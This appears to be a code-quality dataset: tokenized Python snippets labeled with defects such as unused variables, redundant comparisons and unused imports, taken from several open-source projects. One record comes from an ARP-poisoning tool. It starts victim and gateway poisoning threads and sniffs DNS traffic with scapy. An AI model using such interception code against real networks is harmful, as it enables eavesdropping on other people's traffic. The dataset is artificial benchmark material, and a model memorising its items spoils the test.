"421", " ", "\\", "10", ";", "442", " ", ":", " ", " ", " ", " ", "203", "820", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "443", " ", ":", " ", " ", " ", " ", "203", "840", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "444", " ", ":", " ", " ", " ", " ", "203", "860", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "445", " ", ":", " ", " ", " ", " ", "203", "880", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "446", " ", ":", " ", " ", " ", " ", "203", "9000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "447", " ", ":", " ", " ", " ", " ", "203", "9200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "448", " ", ":", " ", " ", " ", " ", "203", "940", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "449", " ", ":", " ", " ", " ", " ", "203", "9600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "450", " ", ":", " ", " ", " ", " ", "203", "980", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "451", " ", ":", " ", " ", " ", " ", "204", "0000", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "452", " ", ":", " ", " ", " ", " ", "204", "0200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "453", " ", ":", " ", " ", " ", " ", "204", "0400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "454", " ", ":", " ", " ", " ", " ", "204", "0600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "455", " ", ":", " ", " ", " ", " ", "204", "0800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "456", " ", ":", " ", " ", " ", " ", "204", "1000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "457", " ", ":", " ", " ", " ", " ", "204", "1200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "458", " ", ":", " ", " ", " ", " ", "204", "1400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "459", " ", ":", " ", " ", " ", " ", "204", "1600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "460", " ", ":", " ", " ", " ", " ", "204", "1800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "461", " ", ":", " ", " ", " ", " ", "204", "2000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "462", " ", ":", " ", " ", " ", " ", "204", "2200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "463", " ", ":", " ", " ", " ", " ", "204", "2400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "464", " ", ":", " ", " ", " ", " ", "204", "2600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "465", " ", ":", " ", " ", " ", " ", "204", "2800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "466", " ", ":", " ", " ", " ", " ", "204", "3000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "467", " ", ":", " ", " ", " ", " ", "204", "3200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "468", " ", ":", " ", " ", " ", " ", "204", "3400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "469", " ", ":", " ", " ", " ", " ", "204", "3600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "470", " ", ":", " ", " ", " ", " ", "204", "380", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "471", " ", ":", " ", " ", " ", " ", "204", "4000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "472", " ", ":", " ", " ", " ", " ", "204", "4200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "473", " ", ":", " ", " ", " ", " ", "204", "440", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "474", " ", ":", " ", " ", " ", " ", "204", "460", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "475", " ", ":", " ", " ", " ", " ", "204", "4800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "476", " ", ":", " ", " ", " ", " ", "204", "5000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "477", " ", ":", " ", " ", " ", " ", "204", "520", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "478", " ", ":", " ", " ", " ", " ", "204", "540", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "479", " ", ":", " ", " ", " ", " ", "204", "560", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "480", " ", ":", " ", " ", " ", " ", "204", "580", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "481", " ", ":", " ", " ", " ", " ", "204", "6000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "482", " ", ":", " ", " ", " ", " ", "204", "620", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "483", " ", ":", " ", " ", " ", " ", "204", "640", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "484", " ", ":", " ", " ", " ", " ", "204", "660", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "485", " ", ":", " ", " ", " ", " ", "204", "680", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "486", " ", ":", " ", " ", " ", " ", "204", "7000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "487", " ", ":", " ", " ", " ", " ", "204", "7200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "488", " ", ":", " ", " ", " ", " ", "204", "740", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "489", " ", ":", " ", " ", " ", " ", "204", "760", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "490", " ", ":", " ", " ", " ", " ", "204", "780", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "491", " ", ":", " ", " ", " ", " ", "204", "800", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "492", " ", ":", " ", " ", " ", " ", "204", "820", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "493", " ", ":", " ", " ", " ", " ", "204", "840", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "494", " ", ":", " ", " ", " ", " ", "204", "860", "0", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "495", " ", ":", " ", " ", " ", " ", "204", "880", "0", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", "496", " ", ":", " ", " ", " ", " ", "204", "9000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "497", " ", ":", " ", " ", " ", " ", "204", "9200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "498", " ", ":", " ", " ", " ", " ", "204", "940", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "499", " ", ":", " ", " ", " ", " ", "204", "9600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "500", " ", ":", " ", " ", " ", " ", "204", "980", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "501", " ", ":", " ", " ", " ", " ", "2050", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "\"\"\"#", "!", "/", "usr", "/", "bin", "/", "python", "\\", "10", ";", "\\", "10", ";", "import", " ", "time", "\\", "10", ";", "\\", "10", ";", "print", " ", "\"\"", "\\\\\"", "%", "s", "\"\"", "\\\\\"", "\\", "10", ";", "open", "(\"", "gpi", "b", ".", "txt", "\",\"", "w", "\")", ".", "write", "(\"", "\"\\\\\"", "%", "s", "\"\"", "\\\\\")", "\\", "10", ";", "\\", "10", ";", "time", ".", "sleep", "(", "5", ")", "\\", "10", ";", "\\", "10", ";\"\"\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "stdout", "\\u", "lines_", ",_", "source", "\\u", "lines_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "traceback_", "._", "print", "\\u", "stack_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "os_", ",_", "'", "chm", "od", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "chmod_", "(_", "fname_", ",_", "0_", "755", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uDEDENT\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 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ivanvza/arpy/arpy.py
[ { "content": "def start_poisen(target, interface, scapy_filter):\n vpoison = threading.Thread(target=poison)\n vpoison.setDaemon(True)\n vthread.append(vpoison)\n vpoison.start()\n\n gwpoison = threading.Thread(target=gw_poison)\n gwpoison.setDaemon(True)\n gwthread.append(gwpoison)\n gwpoison.start()\n if dns_sniff or dns_sniff_gource:\n pkt = scapy.sniff(iface=interface,filter=scapy_filter,prn=dnshandle)\n else:\n pkt = scapy.sniff(iface=interface,filter=scapy_filter,prn=rawhandle)", "metadata": "root.start_poisen", "header": "['module', '___EOS___']", "index": 157 } ]
[ { "span": "pkt ", "start_line": 168, "start_column": 8, "end_line": 168, "end_column": 11 }, { "span": "pkt ", "start_line": 170, "start_column": 8, "end_line": 170, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "pois", "en_", "(_", "target_", ",_", "interface_", ",_", "scap", "y", "\\u", "filter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vpo", "ison", "_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "pois", "on_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vpo", "ison", "_", "._", "set", "Daemon_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vt", "hread", "_", "._", "append_", "(_", "vpo", "ison", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vpo", "ison", "_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gw", "pois", "on_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "gw", "\\u", "pois", "on_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gw", "pois", "on_", "._", "set", "Daemon_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gw", "thread_", "._", "append_", "(_", "gw", "pois", "on_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gw", "pois", "on_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dns", "\\u", "sniff", "_", "or_", "dns", "\\u", "sniff", "\\u", "gou", "rce", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pkt_", "=_", "scapy_", "._", "sniff", "_", "(_", "iface_", "=_", "interface_", ",_", "filter_", "=_", "scap", "y", "\\u", "filter_", ",_", "prn", "_", "=_", "dns", "handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pkt_", "=_", "scapy_", "._", "sniff", "_", "(_", "iface_", "=_", "interface_", ",_", "filter_", "=_", "scap", "y", "\\u", "filter_", ",_", "prn", "_", "=_", "raw", "handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Redundant comparison
aerospike/aerospike-client-python/test/new_tests/test_list_append.py
[ { "content": " def test_pos_list_append_with_nonexistent_key(self):\n \"\"\"\n Invoke list_append() with non-existent key\n \"\"\"\n charSet = 'abcdefghijklmnopqrstuvwxyz1234567890'\n minLength = 5\n maxLength = 30\n length = random.randint(minLength, maxLength)\n key = ('test', 'demo', ''.join(map(lambda unused:\n random.choice(charSet),\n range(length))) + \".com\")\n status = self.as_connection.list_append(key, \"abc\", 122)\n assert status == 0\n\n (key, _, bins) = self.as_connection.get(key)\n self.as_connection.remove(key)\n\n assert status == 0\n assert bins == {'abc': [122]}", "metadata": "root.TestListAppend.test_pos_list_append_with_nonexistent_key", "header": "['class', 'TestListAppend', '(', 'object', ')', ':', '___EOS___']", "index": 107 }, { "content": " def test_pos_list_append_with_nonexistent_bin(self):\n \"\"\"\n Invoke list_append() with non-existent bin\n \"\"\"\n key = ('test', 'demo', 1)\n charSet = 'abcdefghijklmnopqrstuvwxyz1234567890'\n minLength = 5\n maxLength = 10\n length = random.randint(minLength, maxLength)\n bin = ''.join(map(lambda unused:\n random.choice(charSet), range(length))) + \".com\"\n status = self.as_connection.list_append(key, bin, 585)\n assert status == 0\n\n (key, _, bins) = self.as_connection.get(key)\n\n assert status == 0\n assert bins == {'contact_no': [1, 2], 'name': 'name1',\n 'city': ['Pune', 'Dehli'], bin: [585]}", "metadata": "root.TestListAppend.test_pos_list_append_with_nonexistent_bin", "header": "['class', 'TestListAppend', '(', 'object', ')', ':', '___EOS___']", "index": 127 } ]
[ { "span": "status == 0", "start_line": 124, "start_column": 15, "end_line": 124, "end_column": 26 }, { "span": "status == 0", "start_line": 143, "start_column": 15, "end_line": 143, "end_column": 26 } ]
[ { "span": "status == 0", "start_line": 119, "start_column": 15, "end_line": 119, "end_column": 26 }, { "span": "status == 0", "start_line": 139, "start_column": 15, "end_line": 139, "end_column": 26 } ]
1
true
[ "[CLS]_", "Redu", "ndan", "t_", "comparison_", "[SEP]_", "class_", "Test", "List", "Append_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pos", "\\u", "list", "\\u", "append", "\\u", "with", "\\u", "nonexist", "ent", "\\u", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Invok", "e", " ", "list", "\\u", "append", "()", " ", "with", " ", "non", "-", "existen", "t", " ", "key", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "char", "Set_", "=_", "'", "abcdefg", "hij", "kl", "mn", "op", "qr", "stu", "vw", "xyz", "12345678", "90", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "Length_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "Length_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "=_", "random_", "._", "randint_", "(_", "min", "Length_", ",_", "max", "Length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "(_", "'", "test", "'_", ",_", "'", "demo", "'_", ",_", "''_", "._", "join_", "(_", "map_", "(_", "lambda_", "unused_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "choice_", "(_", "char", "Set_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "range_", "(_", "length_", ")_", ")_", ")_", "+_", "\".", "com", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "self_", "._", "as", "\\u", "connection_", "._", "list", "\\u", "append_", "(_", "key_", ",_", "\"", "abc", "\"_", ",_", "122_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "status_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "key_", ",_", "\\u_", ",_", "bins_", ")_", "=_", "self_", "._", "as", "\\u", "connection_", "._", "get_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "as", "\\u", "connection_", "._", "remove_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "status_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "bins_", "==_", "{_", "'", "abc", "'_", ":_", "[_", "122_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "List", "Append_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pos", "\\u", "list", "\\u", "append", "\\u", "with", "\\u", "nonexist", "ent", "\\u", "bin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Invok", "e", " ", "list", "\\u", "append", "()", " ", "with", " ", "non", "-", "existen", "t", " ", "bin", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "(_", "'", "test", "'_", ",_", "'", "demo", "'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "char", "Set_", "=_", "'", "abcdefg", "hij", "kl", "mn", "op", "qr", "stu", "vw", "xyz", "12345678", "90", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "Length_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "Length_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "=_", "random_", "._", "randint_", "(_", "min", "Length_", ",_", "max", "Length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin_", "=_", "''_", "._", "join_", "(_", "map_", "(_", "lambda_", "unused_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "choice_", "(_", "char", "Set_", ")_", ",_", "range_", "(_", "length_", ")_", ")_", ")_", "+_", "\".", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "self_", "._", "as", "\\u", "connection_", "._", "list", "\\u", "append_", "(_", "key_", ",_", "bin_", ",_", "585", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "status_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "key_", ",_", "\\u_", ",_", "bins_", ")_", "=_", "self_", "._", "as", "\\u", "connection_", "._", "get_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "status_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "bins_", "==_", "{_", "'", "contact", "\\u", "no", "'_", ":_", "[_", "1_", ",_", "2_", "]_", ",_", "'", "name", "'_", ":_", "'", "name", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "city", "'_", ":_", "[_", "'", "Pun", "e", "'_", ",_", "'", "De", "hli", "'_", "]_", ",_", "bin_", ":_", "[_", "585", "_", "]_", "}_", "\\u\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
sassoftware/conary/conary/pysqlite3/test/thread_tests.py
[ { "content": "#!/usr/bin/env python\n#\n# Copyright (c) 2005 rPath, Inc.\n#\n\nimport testsupport\nimport os, sys, tempfile, time, unittest, thread\nimport sqlite3 as sqlite\n\n\n\n\nif __name__ == \"__main__\":\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ThreadTests(unittest.TestCase):", "metadata": "root.ThreadTests", "header": "['module', '___EOS___']", "index": 9 }, { "content": " def CheckTwoThreads(self):\n def reader(dbpath):\n reader = sqlite.connect(dbpath, timeout=2000)\n cu = reader.cursor()\n while True:\n l = [ x for x in cu.execute('SELECT * from foo') ]\n if l == [ None ]:\n break\n thread.exit()\n\n fd, dbfile = tempfile.mkstemp()\n os.close(fd)\n writer = sqlite.connect(dbfile, timeout=500)\n cu = writer.cursor()\n cu.execute('CREATE TABLE foo(bar int)')\n writer.commit()\n thread.start_new_thread(reader, (dbfile,))\n for i in xrange(100):\n cu.execute('INSERT INTO foo values(?)', (i,))\n if i % 10 == 0:\n writer.commit()\n if i % 20 == 0:\n cu.execute('DELETE FROM foo')\n writer.commit()\n cu.execute('INSERT INTO foo VALUES(NULL)')\n writer.commit()", "metadata": "root.ThreadTests.CheckTwoThreads", "header": "['class', 'ThreadTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 10 }, { "content": "def suite():\n thread_suite = unittest.makeSuite(ThreadTests, \"Check\")\n test_suite = unittest.TestSuite((thread_suite,))\n return test_suite", "metadata": "root.suite", "header": "['module', '___EOS___']", "index": 37 }, { "content": "def main():\n runner = unittest.TextTestRunner()\n runner.run(suite())", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 42 } ]
[ { "span": "import testsupport", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 18 }, { "span": "import os, sys, tempfile, time, unittest, thread", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 48 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2005", " ", "r", "Path", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "tests", "upp", "ort_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", ",_", "sys_", ",_", "tempfile_", ",_", "time_", ",_", "unittest_", ",_", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sqlite3_", "as_", "sqlite_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Thread", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Thread", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "Check", "Tw", "o", "Threads_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "reader_", "(_", "dbpa", "th_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "sqlite_", "._", "connect_", "(_", "dbpa", "th_", ",_", "timeout_", "=_", "2000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cu_", "=_", "reader_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "[_", "x_", "for_", "x_", "in_", "cu_", "._", "execute_", "(_", "'", "SELECT", " ", "*", " ", "from", " ", "foo", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "l_", "==_", "[_", "None_", "]_", ":_", 